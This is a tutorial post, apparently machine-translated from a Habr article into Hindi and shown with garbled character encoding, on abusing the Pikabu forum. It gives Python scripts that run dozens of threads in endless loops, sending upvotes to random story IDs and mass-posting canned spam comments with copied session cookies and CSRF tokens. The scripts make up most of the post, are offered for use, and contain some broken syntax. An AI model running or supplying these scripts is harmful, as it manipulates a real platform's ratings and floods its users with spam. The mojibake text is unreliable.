рдкрд┐рдХрд╛рдмреВ рд╕реНрдкреИрдо рднреЗрджреНрдпрддрд╛

рдирдорд╕реНрддреЗ рдореИрдВ Pikabu рдлреЛрд░рдо рдХреА рд╕реНрдкреИрдо рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ред


рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдордВрдЪ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдЗрд╕ рдкрд░ рд╕рдм рдХреБрдЫ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд░рд╣рд╛ рд╣реВрдВред


рдХреНрдпрд╛ рдХрд╣рдирд╛ рд╣реИ?


рднреЗрджреНрдпрддрд╛ рдЧрддрд┐рд╡рд┐рдзрд┐ рдореЗрдВ рд╡реГрджреНрдзрд┐, рд░реЗрдЯрд┐рдВрдЧ рдХреА рд╕рдВрдЦреНрдпрд╛, рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдиреНрдпреВрдирддрдо рд╕рдордп рдХреЗ рд▓рд┐рдП рдЯрд┐рдкреНрдкрдгреА рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИред


рдореБрдЭреЗ рджрд┐рдЦрд╛рдУ!


24 рдШрдВрдЯреЗ рдХреЗ рднреАрддрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдСрдкрд░реЗрд╢рди:


рдЫрд╡рд┐


рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдореИрдВрдиреЗ HTML рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рд╣реИ? рдФрд░ рдирд╣реАрдВ!


рдЖрдкрдиреЗ рдРрд╕рд╛ рдХреИрд╕реЗ рдХрд┐рдпрд╛!


рдмрд╣реБрдд рдЖрд╕рд╛рди рд╣реИ!


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ .py рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ:


рдЫрд╡рд┐


рдЕрдЧрд▓рд╛, рдЖрдЗрдП рдЙрди рдореЙрдбреНрдпреВрд▓реЛрдВ рдХреЛ рдЖрдпрд╛рдд рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рд╕рд╛рде рд╣рдо рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВрдЧреЗ, рд╕рд╛рде рд╣реА рд╣рдорд╛рд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдорд▓реНрдЯреАрдереНрд░реЗрдбрд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдореЙрдбреНрдпреВрд▓:


import requests from threading import Thread 

рдЕрдм рдПрдХ рдЕрдирдВрдд рд▓реВрдк рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдмрдирд╛рддреЗ рд╣реИрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ:


 def spam(): while True: req = requests.post('') 

рд▓реЗрдХрд┐рди рдЖрдк рдЕрдиреБрд░реЛрдз рдбреЗрдЯрд╛ рдХреЛ рдХреИрд╕реЗ рдЬрд╛рдирддреЗ рд╣реИрдВ?


рдлрд╛рдпрд░рдлреЙрдХреНрд╕ рдЦреЛрд▓реЗрдВ, рдкрд┐рдХрд╛рдмреВ рдЬрд╛рдПрдВред


рдХреЛрдИ рднреА рд╡рд┐рд╖рдп рдЪреБрдиреЗрдВред рдКрдкрд░ рддреАрд░ рдкрд░ рд╣реЛрд╡рд░ рдХрд░реЗрдВ:


рдЫрд╡рд┐


рдЕрдм рдХреБрдВрдЬреА рд╕рдВрдпреЛрдЬрди рджрдмрд╛рдПрдБ: cntr + shift + iред


рдбреЗрд╡рд▓рдкрд░ рдЯреВрд▓рдмрд╛рд░ рд╕реНрдХреНрд░реАрди рдкрд░ рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛:


рдорд╣рдВрдЧреЗ рдордВрдЪ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рджреГрд╖реНрдЯрд┐ рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП - рдореБрдЭреЗ AdBlock рд╡рд┐рд╖рдп (рдУрдо) рдХреЛ рдХрд╛рдЯрдирд╛ рдкрдбрд╝рд╛:


рдЫрд╡рд┐


рдЪрд▓реЛ "рдиреЗрдЯрд╡рд░реНрдХ" рдЯреИрдм рдкрд░ рдЬрд╛рдПрдВред


рдЕрдм рд╣рдо рдЗрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рд╕рднреА рдЖрдЙрдЯрдЧреЛрдЗрдВрдЧ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВред


"рд╡рд┐рд╖рдп рджрд░" рддреАрд░ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдЬрд▓реНрджреА рд╕реЗ рдХреНрд╡реЗрд░реА рдкреИрдирд▓ рджреЗрдЦреЗрдВред
"рд╡рд┐рдзрд┐" рдмрдЯрди рджрдмрд╛рдПрдВ рдЬрдм рддрдХ рдХрд┐ рдкрд╣рд▓рд╛ рдЕрдиреБрд░реЛрдз "POST" рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЕрдиреБрд░реЛрдз рди рд╣реЛ:


рдЫрд╡рд┐


рдкрд╣рд▓реЗ рдкреНрд░рд╢реНрдиреЛрдВ рдХреЗ рдмреАрдЪ, рдЗрд╕реЗ рдЦреЛрдЬреЗрдВ:


рдЫрд╡рд┐


рдЙрд╕ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, рдФрд░ рдХреЙрдкреА рдмрдЯрди рдкрд░ рд╣реЛрд╡рд░ рдХрд░реЗрдВ, рдХреЙрдкреА POST рдбреЗрдЯрд╛ рдЪреБрдиреЗрдВред рдЗрд╕рдХреЗ рдмрд╛рдж, рдбреЗрдЯрд╛ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдХреНрд╡реЗрд░реА рдореЗрдВ рдбрд╛рд▓реЗрдВ:


 req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

рд▓реЗрдХрд┐рди рдлрд┐рд░ рд╣рдо рдЙрд╕реА рдкреЛрд╕реНрдЯ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░реЗрдВрдЧреЗ!


рдЗрд╕реЗ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╣рд▓реЗ рд╕реЗ рдЖрдпрд╛рддрд┐рдд рдореЙрдбреНрдпреВрд▓ рдореЗрдВ "рдпрд╛рджреГрдЪреНрдЫрд┐рдХ" рдореЙрдбреНрдпреВрд▓ рдЬреЛрдбрд╝реЗрдВ:


 import random 

рдФрд░ рд▓реВрдк рдореЗрдВ рд▓рд╛рдЗрди рдЬреЛрдбрд╝реЗрдВ:


 story = random.randint(1000000, 6865568) 

рдЪрд▓реЛ рдПрдХ рдЕрдиреБрд░реЛрдз рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рд░реА! рдпрд╣рд╛рдБ рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХрд┐рдпрд╛ рд╣реИ:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдд - рд╣реЗрдбрд░ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЬреЛрдбрд╝реЗрдВред рдЪрд▓рд┐рдП FireFox рдкрд░ рд╡рд╛рдкрд╕ рдЬрд╛рддреЗ рд╣реИрдВ, рдЕрдиреБрд░реЛрдз рдкрд░ рдмрд╕ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, "рдХреЙрдкреА рдХрд░реЗрдВ" рдЪреБрдиреЗрдВ, рд▓реЗрдХрд┐рди рдЗрд╕ рдмрд╛рд░ - "рдЕрдиреБрд░реЛрдз рд╣реЗрдбрд░"ред
рдЙрд╕реА рддрд░рд╣, рдмреГрд╣рджрд╛рдиреНрддреНрд░ рдФрд░ рдЙрджреНрдзрд░рдг рдЪрд┐рд╣реНрдиреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдЙрдиреНрд╣реЗрдВ рдХреЛрдб рдореЗрдВ рдбрд╛рд▓реЗрдВ:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) 

"рдЖрдкрдХрд╛ рдбреЗрдЯрд╛" рдлрд╝реАрд▓реНрдб рдореЗрдВ, рдЕрдкрдиреЗ рдорд╛рди рдбрд╛рд▓реЗрдВред


рдЕрдиреБрд░реЛрдз рдХреА рд╕реНрдерд┐рддрд┐ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░реЗрдВ:


 print(req) 

рдпрджрд┐ "рд░рд┐рд╕реНрдкреЙрдиреНрд╕ <200>" рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЕрдиреБрд░реЛрдз рднреЗрдЬрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╡рд┐рд╖рдп рдХреЛ рд░реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдмрд╛рдж, рд╣рдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдереЛрдбрд╝рд╛ рддреЗрдЬрд╝ (рдареАрдХ 55 рдмрд╛рд░) рдХрд░реЗрдВрдЧреЗред


рд╣рдорд╛рд░реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдереНрд░реЗрдбрд┐рдВрдЧ рдмрдирд╛рдПрдВ:


 for i in range(55): thr = Thread(target = spam) thr.start() 

рдЦреИрд░, рдпрд╣ рдмрд╛рдд рд╣реИ! рдЖрдк рджреМрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред


рдФрд░ рдпрд╣рд╛рдБ рдкреВрд░рд╛ рдХреЛрдб рд╣реИ:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start() 

рдЗрд╕реА рддрд░рд╣ рд╕реЗ рдардЧреА рдХреА рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдВ рдХреА рдЬрд╛рддреА рд╣реИрдВред рдореИрдВ рдЗрд╕реЗ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдирд╣реАрдВ рдмрддрд╛рдКрдВрдЧрд╛, рдмрд╕ рдХреЛрдб рд░рдЦрдирд╛:


 # -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = [' !  !  !', ' ! !    !', '  ! !     ...', '!  !', '  .  !', ', !', ' !  !  !', ' ! !'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':' ', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':' ', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!') 

рдЦреИрд░, рдпрд╣ рд╕рдм рд╣реИред рдЖрдк рдкреЛрд╕реНрдЯ рдФрд░ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЛ рддреВрдлрд╛рдиреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред


рд╕реМрднрд╛рдЧреНрдп рд╣реИ


рд▓рд╡ рд╣рдмреНрд░ред


рдЙрдкрд░реЛрдХреНрдд рдХрд╛рд░реНрдп рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрд╛рдиреВрдиреА рд╣реИрдВ, 10/02/2019 рдХреЛ рд░реВрд╕реА рд╕рдВрдШ рдХреЗ рдЖрдкрд░рд╛рдзрд┐рдХ рд╕рдВрд╣рд┐рддрд╛ рдХреЗ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рд▓реЗрдЦ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред

Source: https://habr.com/ru/post/hi469839/


All Articles